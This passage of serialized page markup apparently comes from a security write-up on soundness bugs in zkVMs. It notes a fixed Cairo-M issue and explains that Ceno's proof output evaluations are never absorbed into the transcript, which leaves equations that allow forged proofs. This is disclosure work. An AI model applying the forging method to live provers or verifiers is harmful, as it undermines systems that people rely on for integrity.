terms)",{"type":21,"tag":198,"props":118902,"children":118904},{"className":118903,"style":4998},[4901],[],{"type":21,"tag":198,"props":118906,"children":118908},{"className":118907},[5003],[118909],{"type":27,"value":3174},{"type":21,"tag":198,"props":118911,"children":118913},{"className":118912,"style":4998},[4901],[],{"type":21,"tag":198,"props":118915,"children":118917},{"className":118916},[4811],[118918,118922],{"type":21,"tag":198,"props":118919,"children":118921},{"className":118920,"style":94460},[4816],[],{"type":21,"tag":198,"props":118923,"children":118925},{"className":118924},[4822],[118926],{"type":27,"value":3482},{"type":21,"tag":30,"props":118928,"children":118929},{},[118930],{"type":27,"value":118931},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":21,"tag":30,"props":118933,"children":118934},{},[118935],{"type":27,"value":118936},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":21,"tag":30,"props":118938,"children":118939},{},[118940,118944,118946],{"type":21,"tag":6137,"props":118941,"children":118942},{},[118943],{"type":27,"value":117139},{"type":27,"value":118945}," Fixed on October 31, 2025 via ",{"type":21,"tag":34,"props":118947,"children":118950},{"href":118948,"rel":118949},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[38],[118951],{"type":27,"value":118952},"commit 92b6740",{"type":21,"tag":19590,"props":118954,"children":118955},{},[],{"type":21,"tag":59,"props":118957,"children":118959},{"id":118958},"ceno-scroll",[118960],{"type":27,"value":118961},"Ceno (Scroll)",{"type":21,"tag":30,"props":118963,"children":118964},{},[118965],{"type":27,"value":118966},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":21,"tag":30,"props":118968,"children":118969},{},[118970,118972,118977],{"type":27,"value":118971},"Ceno splits verification into ",{"type":21,"tag":6137,"props":118973,"children":118974},{},[118975],{"type":27,"value":118976},"chips",{"type":27,"value":118978},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":21,"tag":30,"props":118980,"children":118981},{},[118982,118984,118989],{"type":27,"value":118983},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":21,"tag":6137,"props":118985,"children":118986},{},[118987],{"type":27,"value":118988},"tower sumcheck",{"type":27,"value":658},{"type":21,"tag":30,"props":118991,"children":118992},{},[118993],{"type":27,"value":118994},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":21,"tag":30,"props":118996,"children":118997},{},[118998],{"type":21,"tag":194,"props":118999,"children":119001},{"className":119000},[4794,4795],[119002],{"type":21,"tag":198,"props":119003,"children":119005},{"className":119004},[4800],[119006],{"type":21,"tag":198,"props":119007,"children":119009},{"className":119008,"ariaHidden":4806},[4805],[119010,119184,119357],{"type":21,"tag":198,"props":119011,"children":119013},{"className":119012},[4811],[119014,119018,119076,119080,119089,119094,119104,119109,119171,119175,119180],{"type":21,"tag":198,"props":119015,"children":119017},{"className":119016,"style":93371},[4816],[],{"type":21,"tag":198,"props":119019,"children":119021},{"className":119020},[22417],[119022,119028],{"type":21,"tag":198,"props":119023,"children":119025},{"className":119024,"style":22424},[22417,22422,22423],[119026],{"type":27,"value":119027},"∏",{"type":21,"tag":198,"props":119029,"children":119031},{"className":119030},[4837],[119032],{"type":21,"tag":198,"props":119033,"children":119035},{"className":119034},[4842,22435],[119036,119065],{"type":21,"tag":198,"props":119037,"children":119039},{"className":119038},[4847],[119040,119060],{"type":21,"tag":198,"props":119041,"children":119043},{"className":119042,"style":114636},[4852],[119044],{"type":21,"tag":198,"props":119045,"children":119046},{"style":22448},[119047,119051],{"type":21,"tag":198,"props":119048,"children":119050},{"className":119049,"style":4862},[4861],[],{"type":21,"tag":198,"props":119052,"children":119054},{"className":119053},[4867,4868,4869,4870],[119055],{"type":21,"tag":198,"props":119056,"children":119058},{"className":119057},[4822,22381,4870],[119059],{"type":27,"value":4544},{"type":21,"tag":198,"props":119061,"children":119063},{"className":119062},[22538],[119064],{"type":27,"value":22541},{"type":21,"tag":198,"props":119066,"children":119068},{"className":119067},[4847],[119069],{"type":21,"tag":198,"props":119070,"children":119072},{"className":119071,"style":114916},[4852],[119073],{"type":21,"tag":198,"props":119074,"children":119075},{},[],{"type":21,"tag":198,"props":119077,"children":119079},{"className":119078,"style":4939},[4901],[],{"type":21,"tag":198,"props":119081,"children":119083},{"className":119082},[4822,27],[119084],{"type":21,"tag":198,"props":119085,"children":119087},{"className":119086},[4822],[119088],{"type":27,"value":94248},{"type":21,"tag":198,"props":119090,"children":119092},{"className":119091,"style":93429},[4822],[119093],{"type":27,"value":3891},{"type":21,"tag":198,"props":119095,"children":119097},{"className":119096},[4822,27],[119098],{"type":21,"tag":198,"props":119099,"children":119101},{"className":119100},[4822],[119102],{"type":27,"value":119103},"out",{"type":21,"tag":198,"props":119105,"children":119107},{"className":119106,"style":93429},[4822],[119108],{"type":27,"value":3891},{"type":21,"tag":198,"props":119110,"children":119112},{"className":119111},[4822],[119113,119123],{"type":21,"tag":198,"props":119114,"children":119116},{"className":119115},[4822,27],[119117],{"type":21,"tag":198,"props":119118,"children":119120},{"className":119119},[4822],[119121],{"type":27,"value":119122},"evals",{"type":21,"tag":198,"props":119124,"children":119126},{"className":119125},[4837],[119127],{"type":21,"tag":198,"props":119128,"children":119130},{"className":119129},[4842,22435],[119131,119160],{"type":21,"tag":198,"props":119132,"children":119134},{"className":119133},[4847],[119135,119155],{"type":21,"tag":198,"props":119136,"children":119138},{"className":119137,"style":93958},[4852],[119139],{"type":21,"tag":198,"props":119140,"children":119141},{"style":114559},[119142,119146],{"type":21,"tag":198,"props":119143,"children":119145},{"className":119144,"style":4862},[4861],[],{"type":21,"tag":198,"props":119147,"children":119149},{"className":119148},[4867,4868,4869,4870],[119150],{"type":21,"tag":198,"props":119151,"children":119153},{"className":119152},[4822,22381,4870],[119154],{"type":27,"value":4544},{"type":21,"tag":198,"props":119156,"children":119158},{"className":119157},[22538],[119159],{"type":27,"value":22541},{"type":21,"tag":198,"props":119161,"children":119163},{"className":119162},[4847],[119164],{"type":21,"tag":198,"props":119165,"children":119167},{"className":119166,"style":93512},[4852],[119168],{"type":21,"tag":198,"props":119169,"children":119170},{},[],{"type":21,"tag":198,"props":119172,"children":119174},{"className":119173,"style":4998},[4901],[],{"type":21,"tag":198,"props":119176,"children":119178},{"className":119177},[5003],[119179],{"type":27,"value":3174},{"type":21,"tag":198,"props":119181,"children":119183},{"className":119182,"style":4998},[4901],[],{"type":21,"tag":198,"props":119185,"children":119187},{"className":119186},[4811],[119188,119193,119250,119254,119263,119268,119277,119282,119344,119348,119353],{"type":21,"tag":198,"props":119189,"children":119192},{"className":119190,"style":119191},[4816],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":21,"tag":198,"props":119194,"children":119196},{"className":119195},[22417],[119197,119202],{"type":21,"tag":198,"props":119198,"children":119200},{"className":119199,"style":22424},[22417,22422,22423],[119201],{"type":27,"value":119027},{"type":21,"tag":198,"props":119203,"children":119205},{"className":119204},[4837],[119206],{"type":21,"tag":198,"props":119207,"children":119209},{"className":119208},[4842,22435],[119210,119239],{"type":21,"tag":198,"props":119211,"children":119213},{"className":119212},[4847],[119214,119234],{"type":21,"tag":198,"props":119215,"children":119217},{"className":119216,"style":114636},[4852],[119218],{"type":21,"tag":198,"props":119219,"children":119220},{"style":22448},[119221,119225],{"type":21,"tag":198,"props":119222,"children":119224},{"className":119223,"style":4862},[4861],[],{"type":21,"tag":198,"props":119226,"children":119228},{"className":119227},[4867,4868,4869,4870],[119229],{"type":21,"tag":198,"props":119230,"children":119232},{"className":119231,"style":114652},[4822,22381,4870],[119233],{"type":27,"value":9467},{"type":21,"tag":198,"props":119235,"children":119237},{"className":119236},[22538],[119238],{"type":27,"value":22541},{"type":21,"tag":198,"props":119240,"children":119242},{"className":119241},[4847],[119243],{"type":21,"tag":198,"props":119244,"children":119246},{"className":119245,"style":114667},[4852],[119247],{"type":21,"tag":198,"props":119248,"children":119249},{},[],{"type":21,"tag":198,"props":119251,"children":119253},{"className":119252,"style":4939},[4901],[],{"type":21,"tag":198,"props":119255,"children":119257},{"className":119256},[4822,27],[119258],{"type":21,"tag":198,"props":119259,"children":119261},{"className":119260},[4822],[119262],{"type":27,"value":2692},{"type":21,"tag":198,"props":119264,"children":119266},{"className":119265,"style":93429},[4822],[119267],{"type":27,"value":3891},{"type":21,"tag":198,"props":119269,"children":119271},{"className":119270},[4822,27],[119272],{"type":21,"tag":198,"props":119273,"children":119275},{"className":119274},[4822],[119276],{"type":27,"value":119103},{"type":21,"tag":198,"props":119278,"children":119280},{"className":119279,"style":93429},[4822],[119281],{"type":27,"value":3891},{"type":21,"tag":198,"props":119283,"children":119285},{"className":119284},[4822],[119286,119295],{"type":21,"tag":198,"props":119287,"children":119289},{"className":119288},[4822,27],[119290],{"type":21,"tag":198,"props":119291,"children":119293},{"className":119292},[4822],[119294],{"type":27,"value":119122},{"type":21,"tag":198,"props":119296,"children":119298},{"className":119297},[4837],[119299],{"type":21,"tag":198,"props":119300,"children":119302},{"className":119301},[4842,22435],[119303,119332],{"type":21,"tag":198,"props":119304,"children":119306},{"className":119305},[4847],[119307,119327],{"type":21,"tag":198,"props":119308,"children":119310},{"className":119309,"style":93958},[4852],[119311],{"type":21,"tag":198,"props":119312,"children":119313},{"style":114559},[119314,119318],{"type":21,"tag":198,"props":119315,"children":119317},{"className":119316,"style":4862},[4861],[],{"type":21,"tag":198,"props":119319,"children":119321},{"className":119320},[4867,4868,4869,4870],[119322],{"type":21,"tag":198,"props":119323,"children":119325},{"className":119324,"style":114652},[4822,22381,4870],[119326],{"type":27,"value":9467},{"type":21,"tag":198,"props":119328,"children":119330},{"className":119329},[22538],[119331],{"type":27,"value":22541},{"type":21,"tag":198,"props":119333,"children":119335},{"className":119334},[4847],[119336],{"type":21,"tag":198,"props":119337,"children":119340},{"className":119338,"style":119339},[4852],"height:0.2861em;",[119341],{"type":21,"tag":198,"props":119342,"children":119343},{},[],{"type":21,"tag":198,"props":119345,"children":119347},{"className":119346,"style":4902},[4901],[],{"type":21,"tag":198,"props":119349,"children":119351},{"className":119350},[4907],[119352],{"type":27,"value":111691},{"type":21,"tag":198,"props":119354,"children":119356},{"className":119355,"style":4902},[4901],[],{"type":21,"tag":198,"props":119358,"children":119360},{"className":119359},[4811],[119361,119365,119370,119380],{"type":21,"tag":198,"props":119362,"children":119364},{"className":119363,"style":4922},[4816],[],{"type":21,"tag":198,"props":119366,"children":119368},{"className":119367},[22510],[119369],{"type":27,"value":706},{"type":21,"tag":198,"props":119371,"children":119373},{"className":119372},[4822,27],[119374],{"type":21,"tag":198,"props":119375,"children":119377},{"className":119376},[4822],[119378],{"type":27,"value":119379},"state factors",{"type":21,"tag":198,"props":119381,"children":119383},{"className":119382},[22532],[119384],{"type":27,"value":2109},{"type":21,"tag":30,"props":119386,"children":119387},{},[119388],{"type":21,"tag":6137,"props":119389,"children":119390},{},[119391],{"type":27,"value":115845},{"type":21,"tag":187,"props":119393,"children":119395},{"code":119394},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[119396],{"type":21,"tag":194,"props":119397,"children":119398},{"__ignoreMap":7},[119399],{"type":27,"value":119394},{"type":21,"tag":30,"props":119401,"children":119402},{},[119403,119409,119410,119416,119417,119423],{"type":21,"tag":194,"props":119404,"children":119406},{"className":119405},[],[119407],{"type":27,"value":119408},"r_out_evals",{"type":27,"value":828},{"type":21,"tag":194,"props":119411,"children":119413},{"className":119412},[],[119414],{"type":27,"value":119415},"w_out_evals",{"type":27,"value":7299},{"type":21,"tag":194,"props":119418,"children":119420},{"className":119419},[],[119421],{"type":27,"value":119422},"lk_out_evals",{"type":27,"value":119424}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":21,"tag":71,"props":119426,"children":119427},{},[119428],{"type":21,"tag":75,"props":119429,"children":119430},{},[119431,119436,119438,119444],{"type":21,"tag":6137,"props":119432,"children":119433},{},[119434],{"type":27,"value":119435},"GKR/Tower equation",{"type":27,"value":119437}," (linear in ",{"type":21,"tag":194,"props":119439,"children":119441},{"className":119440},[],[119442],{"type":27,"value":119443},"out_evals",{"type":27,"value":24750},{"type":21,"tag":30,"props":119446,"children":119447},{},[119448,119450],{"type":27,"value":119449},"The tower sumcheck claim is ",{"type":21,"tag":194,"props":119451,"children":119453},{"className":119452},[4794,4795],[119454],{"type":21,"tag":198,"props":119455,"children":119457},{"className":119456},[4800],[119458],{"type":21,"tag":198,"props":119459,"children":119461},{"className":119460,"ariaHidden":4806},[4805],[119462,119493,119618],{"type":21,"tag":198,"props":119463,"children":119465},{"className":119464},[4811],[119466,119470,119480,119484,119489],{"type":21,"tag":198,"props":119467,"children":119469},{"className":119468,"style":93344},[4816],[],{"type":21,"tag":198,"props":119471,"children":119473},{"className":119472},[4822,27],[119474],{"type":21,"tag":198,"props":119475,"children":119477},{"className":119476},[4822],[119478],{"type":27,"value":119479},"claim",{"type":21,"tag":198,"props":119481,"children":119483},{"className":119482,"style":4998},[4901],[],{"type":21,"tag":198,"props":119485,"children":119487},{"className":119486},[5003],[119488],{"type":27,"value":3174},{"type":21,"tag":198,"props":119490,"children":119492},{"className":119491,"style":4998},[4901],[],{"type":21,"tag":198,"props":119494,"children":119496},{"className":119495},[4811],[119497,119502,119559,119563,119605,119609,119614],{"type":21,"tag":198,"props":119498,"children":119501},{"className":119499,"style":119500},[4816],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":21,"tag":198,"props":119503,"children":119505},{"className":119504},[22417],[119506,119511],{"type":21,"tag":198,"props":119507,"children":119509},{"className":119508,"style":22424},[22417,22422,22423],[119510],{"type":27,"value":109224},{"type":21,"tag":198,"props":119512,"children":119514},{"className":119513},[4837],[119515],{"type":21,"tag":198,"props":119516,"children":119518},{"className":119517},[4842,22435],[119519,119548],{"type":21,"tag":198,"props":119520,"children":119522},{"className":119521},[4847],[119523,119543],{"type":21,"tag":198,"props":119524,"children":119526},{"className":119525,"style":114636},[4852],[119527],{"type":21,"tag":198,"props":119528,"children":119529},{"style":22448},[119530,119534],{"type":21,"tag":198,"props":119531,"children":119533},{"className":119532,"style":4862},[4861],[],{"type":21,"tag":198,"props":119535,"children":119537},{"className":119536},[4867,4868,4869,4870],[119538],{"type":21,"tag":198,"props":119539,"children":119541},{"className":119540,"style":114652},[4822,22381,4870],[119542],{"type":27,"value":9467},{"type":21,"tag":198,"props":119544,"children":119546},{"className":119545},[22538],[119547],{"type":27,"value":22541},{"type":21,"tag":198,"props":119549,"children":119551},{"className":119550},[4847],[119552],{"type":21,"tag":198,"props":119553,"children":119555},{"className":119554,"style":114667},[4852],[119556],{"type":21,"tag":198,"props":119557,"children":119558},{},[],{"type":21,"tag":198,"props":119560,"children":119562},{"className":119561,"style":4939},[4901],[],{"type":21,"tag":198,"props":119564,"children":119566},{"className":119565},[4822],[119567,119572],{"type":21,"tag":198,"props":119568,"children":119570},{"className":119569,"style":115517},[4822,22381],[119571],{"type":27,"value":115520},{"type":21,"tag":198,"props":119573,"children":119575},{"className":119574},[4837],[119576],{"type":21,"tag":198,"props":119577,"children":119579},{"className":119578},[4842],[119580],{"type":21,"tag":198,"props":119581,"children":119583},{"className":119582},[4847],[119584],{"type":21,"tag":198,"props":119585,"children":119588},{"className":119586,"style":119587},[4852],"height:0.8247em;",[119589],{"type":21,"tag":198,"props":119590,"children":119591},{"style":4856},[119592,119596],{"type":21,"tag":198,"props":119593,"children":119595},{"className":119594,"style":4862},[4861],[],{"type":21,"tag":198,"props":119597,"children":119599},{"className":119598},[4867,4868,4869,4870],[119600],{"type":21,"tag":198,"props":119601,"children":119603},{"className":119602,"style":114652},[4822,22381,4870],[119604],{"type":27,"value":9467},{"type":21,"tag":198,"props":119606,"children":119608},{"className":119607,"style":4902},[4901],[],{"type":21,"tag":198,"props":119610,"children":119612},{"className":119611},[4907],[119613],{"type":27,"value":111691},{"type":21,"tag":198,"props":119615,"children":119617},{"className":119616,"style":4902},[4901],[],{"type":21,"tag":198,"props":119619,"children":119621},{"className":119620},[4811],[119622,119626,119635,119640],{"type":21,"tag":198,"props":119623,"children":119625},{"className":119624,"style":94842},[4816],[],{"type":21,"tag":198,"props":119627,"children":119629},{"className":119628},[4822,27],[119630],{"type":21,"tag":198,"props":119631,"children":119633},{"className":119632},[4822],[119634],{"type":27,"value":119103},{"type":21,"tag":198,"props":119636,"children":119638},{"className":119637,"style":93429},[4822],[119639],{"type":27,"value":3891},{"type":21,"tag":198,"props":119641,"children":119643},{"className":119642},[4822],[119644,119653],{"type":21,"tag":198,"props":119645,"children":119647},{"className":119646},[4822,27],[119648],{"type":21,"tag":198,"props":119649,"children":119651},{"className":119650},[4822],[119652],{"type":27,"value":119122},{"type":21,"tag":198,"props":119654,"children":119656},{"className":119655},[4837],[119657],{"type":21,"tag":198,"props":119658,"children":119660},{"className":119659},[4842,22435],[119661,119690],{"type":21,"tag":198,"props":119662,"children":119664},{"className":119663},[4847],[119665,119685],{"type":21,"tag":198,"props":119666,"children":119668},{"className":119667,"style":93958},[4852],[119669],{"type":21,"tag":198,"props":119670,"children":119671},{"style":114559},[119672,119676],{"type":21,"tag":198,"props":119673,"children":119675},{"className":119674,"style":4862},[4861],[],{"type":21,"tag":198,"props":119677,"children":119679},{"className":119678},[4867,4868,4869,4870],[119680],{"type":21,"tag":198,"props":119681,"children":119683},{"className":119682,"style":114652},[4822,22381,4870],[119684],{"type":27,"value":9467},{"type":21,"tag":198,"props":119686,"children":119688},{"className":119687},[22538],[119689],{"type":27,"value":22541},{"type":21,"tag":198,"props":119691,"children":119693},{"className":119692},[4847],[119694],{"type":21,"tag":198,"props":119695,"children":119697},{"className":119696,"style":119339},[4852],[119698],{"type":21,"tag":198,"props":119699,"children":119700},{},[],{"type":21,"tag":30,"props":119702,"children":119703},{},[119704,119706,119711],{"type":27,"value":119705},"This check is linear in ",{"type":21,"tag":194,"props":119707,"children":119709},{"className":119708},[],[119710],{"type":27,"value":119443},{"type":27,"value":658},{"type":21,"tag":71,"props":119713,"children":119714},{"start":217},[119715],{"type":21,"tag":75,"props":119716,"children":119717},{},[119718,119723,119725,119730],{"type":21,"tag":6137,"props":119719,"children":119720},{},[119721],{"type":27,"value":119722},"rw-product consistency",{"type":27,"value":119724}," (bilinear in ",{"type":21,"tag":194,"props":119726,"children":119728},{"className":119727},[],[119729],{"type":27,"value":119443},{"type":27,"value":24750},{"type":21,"tag":30,"props":119732,"children":119733},{},[119734],{"type":21,"tag":194,"props":119735,"children":119737},{"className":119736},[4794,4795],[119738],{"type":21,"tag":198,"props":119739,"children":119741},{"className":119740},[4800],[119742],{"type":21,"tag":198,"props":119743,"children":119745},{"className":119744,"ariaHidden":4806},[4805],[119746,119917,120088],{"type":21,"tag":198,"props":119747,"children":119749},{"className":119748},[4811],[119750,119754,119811,119815,119824,119829,119838,119843,119904,119908,119913],{"type":21,"tag":198,"props":119751,"children":119753},{"className":119752,"style":93371},[4816],[],{"type":21,"tag":198,"props":119755,"children":119757},{"className":119756},[22417],[119758,119763],{"type":21,"tag":198,"props":119759,"children":119761},{"className":119760,"style":22424},[22417,22422,22423],[119762],{"type":27,"value":119027},{"type":21,"tag":198,"props":119764,"children":119766},{"className":119765},[4837],[119767],{"type":21,"tag":198,"props":119768,"children":119770},{"className":119769},[4842,22435],[119771,119800],{"type":21,"tag":198,"props":119772,"children":119774},{"className":119773},[4847],[119775,119795],{"type":21,"tag":198,"props":119776,"children":119778},{"className":119777,"style":114636},[4852],[119779],{"type":21,"tag":198,"props":119780,"children":119781},{"style":22448},[119782,119786],{"type":21,"tag":198,"props":119783,"children":119785},{"className":119784,"style":4862},[4861],[],{"type":21,"tag":198,"props":119787,"children":119789},{"className":119788},[4867,4868,4869,4870],[119790],{"type":21,"tag":198,"props":119791,"children":119793},{"className":119792},[4822,22381,4870],[119794],{"type":27,"value":4544},{"type":21,"tag":198,"props":119796,"children":119798},{"className":119797},[22538],[119799],{"type":27,"value":22541},{"type":21,"tag":198,"props":119801,"children":119803},{"className":119802},[4847],[119804],{"type":21,"tag":198,"props":119805,"children":119807},{"className":119806,"style":114916},[4852],[119808],{"type":21,"tag":198,"props":119809,"children":119810},{},[],{"type":21,"tag":198,"props":119812,"children":119814},{"className":119813,"style":4939},[4901],[],{"type":21,"tag":198,"props":119816,"children":119818},{"className":119817},[4822,27],[119819],{"type":21,"tag":198,"props":119820,"children":119822},{"className":119821},[4822],[119823],{"type":27,"value":94248},{"type":21,"tag":198,"props":119825,"children":119827},{"className":119826,"style":93429},[4822],[119828],{"type":27,"value":3891},{"type":21,"tag":198,"props":119830,"children":119832},{"className":119831},[4822,27],[119833],{"type":21,"tag":198,"props":119834,"children":119836},{"className":119835},[4822],[119837],{"type":27,"value":119103},{"type":21,"tag":198,"props":119839,"children":119841},{"className":119840,"style":93429},[4822],[119842],{"type":27,"value":3891},{"type":21,"tag":198,"props":119844,"children":119846},{"className":119845},[4822],[119847,119856],{"type":21,"tag":198,"props":119848,"children":119850},{"className":119849},[4822,27],[119851],{"type":21,"tag":198,"props":119852,"children":119854},{"className":119853},[4822],[119855],{"type":27,"value":119122},{"type":21,"tag":198,"props":119857,"children":119859},{"className":119858},[4837],[119860],{"type":21,"tag":198,"props":119861,"children":119863},{"className":119862},[4842,22435],[119864,119893],{"type":21,"tag":198,"props":119865,"children":119867},{"className":119866},[4847],[119868,119888],{"type":21,"tag":198,"props":119869,"children":119871},{"className":119870,"style":93958},[4852],[119872],{"type":21,"tag":198,"props":119873,"children":119874},{"style":114559},[119875,119879],{"type":21,"tag":198,"props":119876,"children":119878},{"className":119877,"style":4862},[4861],[],{"type":21,"tag":198,"props":119880,"children":119882},{"className":119881},[4867,4868,4869,4870],[119883],{"type":21,"tag":198,"props":119884,"children":119886},{"className":119885},[4822,22381,4870],[119887],{"type":27,"value":4544},{"type":21,"tag":198,"props":119889,"children":119891},{"className":119890},[22538],[119892],{"type":27,"value":22541},{"type":21,"tag":198,"props":119894,"children":119896},{"className":119895},[4847],[119897],{"type":21,"tag":198,"props":119898,"children":119900},{"className":119899,"style":93512},[4852],[119901],{"type":21,"tag":198,"props":119902,"children":119903},{},[],{"type":21,"tag":198,"props":119905,"children":119907},{"className":119906,"style":4998},[4901],[],{"type":21,"tag":198,"props":119909,"children":119911},{"className":119910},[5003],[119912],{"type":27,"value":3174},{"type":21,"tag":198,"props":119914,"children":119916},{"className":119915,"style":4998},[4901],[],{"type":21,"tag":198,"props":119918,"children":119920},{"className":119919},[4811],[119921,119925,119982,119986,119995,120000,120009,120014,120075,120079,120084],{"type":21,"tag":198,"props":119922,"children":119924},{"className":119923,"style":119191},[4816],[],{"type":21,"tag":198,"props":119926,"children":119928},{"className":119927},[22417],[119929,119934],{"type":21,"tag":198,"props":119930,"children":119932},{"className":119931,"style":22424},[22417,22422,22423],[119933],{"type":27,"value":119027},{"type":21,"tag":198,"props":119935,"children":119937},{"className":119936},[4837],[119938],{"type":21,"tag":198,"props":119939,"children":119941},{"className":119940},[4842,22435],[119942,119971],{"type":21,"tag":198,"props":119943,"children":119945},{"className":119944},[4847],[119946,119966],{"type":21,"tag":198,"props":119947,"children":119949},{"className":119948,"style":114636},[4852],[119950],{"type":21,"tag":198,"props":119951,"children":119952},{"style":22448},[119953,119957],{"type":21,"tag":198,"props":119954,"children":119956},{"className":119955,"style":4862},[4861],[],{"type":21,"tag":198,"props":119958,"children":119960},{"className":119959},[4867,4868,4869,4870],[119961],{"type":21,"tag":198,"props":119962,"children":119964},{"className":119963,"style":114652},[4822,22381,4870],[119965],{"type":27,"value":9467},{"type":21,"tag":198,"props":119967,"children":119969},{"className":119968},[22538],[119970],{"type":27,"value":22541},{"type":21,"tag":198,"props":119972,"children":119974},{"className":119973},[4847],[119975],{"type":21,"tag":198,"props":119976,"children":119978},{"className":119977,"style":114667},[4852],[119979],{"type":21,"tag":198,"props":119980,"children":119981},{},[],{"type":21,"tag":198,"props":119983,"children":119985},{"className":119984,"style":4939},[4901],[],{"type":21,"tag":198,"props":119987,"children":119989},{"className":119988},[4822,27],[119990],{"type":21,"tag":198,"props":119991,"children":119993},{"className":119992},[4822],[119994],{"type":27,"value":2692},{"type":21,"tag":198,"props":119996,"children":119998},{"className":119997,"style":93429},[4822],[119999],{"type":27,"value":3891},{"type":21,"tag":198,"props":120001,"children":120003},{"className":120002},[4822,27],[120004],{"type":21,"tag":198,"props":120005,"children":120007},{"className":120006},[4822],[120008],{"type":27,"value":119103},{"type":21,"tag":198,"props":120010,"children":120012},{"className":120011,"style":93429},[4822],[120013],{"type":27,"value":3891},{"type":21,"tag":198,"props":120015,"children":120017},{"className":120016},[4822],[120018,120027],{"type":21,"tag":198,"props":120019,"children":120021},{"className":120020},[4822,27],[120022],{"type":21,"tag":198,"props":120023,"children":120025},{"className":120024},[4822],[120026],{"type":27,"value":119122},{"type":21,"tag":198,"props":120028,"children":120030},{"className":120029},[4837],[120031],{"type":21,"tag":198,"props":120032,"children":120034},{"className":120033},[4842,22435],[120035,120064],{"type":21,"tag":198,"props":120036,"children":120038},{"className":120037},[4847],[120039,120059],{"type":21,"tag":198,"props":120040,"children":120042},{"className":120041,"style":93958},[4852],[120043],{"type":21,"tag":198,"props":120044,"children":120045},{"style":114559},[120046,120050],{"type":21,"tag":198,"props":120047,"children":120049},{"className":120048,"style":4862},[4861],[],{"type":21,"tag":198,"props":120051,"children":120053},{"className":120052},[4867,4868,4869,4870],[120054],{"type":21,"tag":198,"props":120055,"children":120057},{"className":120056,"style":114652},[4822,22381,4870],[120058],{"type":27,"value":9467},{"type":21,"tag":198,"props":120060,"children":120062},{"className":120061},[22538],[120063],{"type":27,"value":22541},{"type":21,"tag":198,"props":120065,"children":120067},{"className":120066},[4847],[120068],{"type":21,"tag":198,"props":120069,"children":120071},{"className":120070,"style":119339},[4852],[120072],{"type":21,"tag":198,"props":120073,"children":120074},{},[],{"type":21,"tag":198,"props":120076,"children":120078},{"className":120077,"style":4902},[4901],[],{"type":21,"tag":198,"props":120080,"children":120082},{"className":120081},[4907],[120083],{"type":27,"value":111691},{"type":21,"tag":198,"props":120085,"children":120087},{"className":120086,"style":4902},[4901],[],{"type":21,"tag":198,"props":120089,"children":120091},{"className":120090},[4811],[120092,120096,120101,120110],{"type":21,"tag":198,"props":120093,"children":120095},{"className":120094,"style":4922},[4816],[],{"type":21,"tag":198,"props":120097,"children":120099},{"className":120098},[22510],[120100],{"type":27,"value":706},{"type":21,"tag":198,"props":120102,"children":120104},{"className":120103},[4822,27],[120105],{"type":21,"tag":198,"props":120106,"children":120108},{"className":120107},[4822],[120109],{"type":27,"value":119379},{"type":21,"tag":198,"props":120111,"children":120113},{"className":120112},[22532],[120114],{"type":27,"value":2109},{"type":21,"tag":30,"props":120116,"children":120117},{},[120118,120120,120289,120290,120459],{"type":27,"value":120119},"If we vary ",{"type":21,"tag":194,"props":120121,"children":120123},{"className":120122},[4794,4795],[120124],{"type":21,"tag":198,"props":120125,"children":120127},{"className":120126},[4800],[120128],{"type":21,"tag":198,"props":120129,"children":120131},{"className":120130,"ariaHidden":4806},[4805],[120132,120210],{"type":21,"tag":198,"props":120133,"children":120135},{"className":120134},[4811],[120136,120140,120197,120201,120206],{"type":21,"tag":198,"props":120137,"children":120139},{"className":120138,"style":110399},[4816],[],{"type":21,"tag":198,"props":120141,"children":120143},{"className":120142},[4822],[120144,120149],{"type":21,"tag":198,"props":120145,"children":120147},{"className":120146},[4822,22381],[120148],{"type":27,"value":20070},{"type":21,"tag":198,"props":120150,"children":120152},{"className":120151},[4837],[120153],{"type":21,"tag":198,"props":120154,"children":120156},{"className":120155},[4842,22435],[120157,120186],{"type":21,"tag":198,"props":120158,"children":120160},{"className":120159},[4847],[120161,120181],{"type":21,"tag":198,"props":120162,"children":120164},{"className":120163,"style":93481},[4852],[120165],{"type":21,"tag":198,"props":120166,"children":120167},{"style":93485},[120168,120172],{"type":21,"tag":198,"props":120169,"children":120171},{"className":120170,"style":4862},[4861],[],{"type":21,"tag":198,"props":120173,"children":120175},{"className":120174},[4867,4868,4869,4870],[120176],{"type":21,"tag":198,"props":120177,"children":120179},{"className":120178},[4822,4870],[120180],{"type":27,"value":3482},{"type":21,"tag":198,"props":120182,"children":120184},{"className":120183},[22538],[120185],{"type":27,"value":22541},{"type":21,"tag":198,"props":120187,"children":120189},{"className":120188},[4847],[120190],{"type":21,"tag":198,"props":120191,"children":120193},{"className":120192,"style":93512},[4852],[120194],{"type":21,"tag":198,"props":120195,"children":120196},{},[],{"type":21,"tag":198,"props":120198,"children":120200},{"className":120199,"style":4998},[4901],[],{"type":21,"tag":198,"props":120202,"children":120204},{"className":120203},[5003],[120205],{"type":27,"value":3174},{"type":21,"tag":198,"props":120207,"children":120209},{"className":120208,"style":4998},[4901],[],{"type":21,"tag":198,"props":120211,"children":120213},{"className":120212},[4811],[120214,120218,120259,120264,120269,120274,120279,120284],{"type":21,"tag":198,"props":120215,"children":120217},{"className":120216,"style":93371},[4816],[],{"type":21,"tag":198,"props":120219,"children":120221},{"className":120220},[4822],[120222,120231,120236,120245,120250],{"type":21,"tag":198,"props":120223,"children":120225},{"className":120224},[4822,27],[120226],{"type":21,"tag":198,"props":120227,"children":120229},{"className":120228},[4822],[120230],{"type":27,"value":94248},{"type":21,"tag":198,"props":120232,"children":120234},{"className":120233,"style":93429},[4822],[120235],{"type":27,"value":3891},{"type":21,"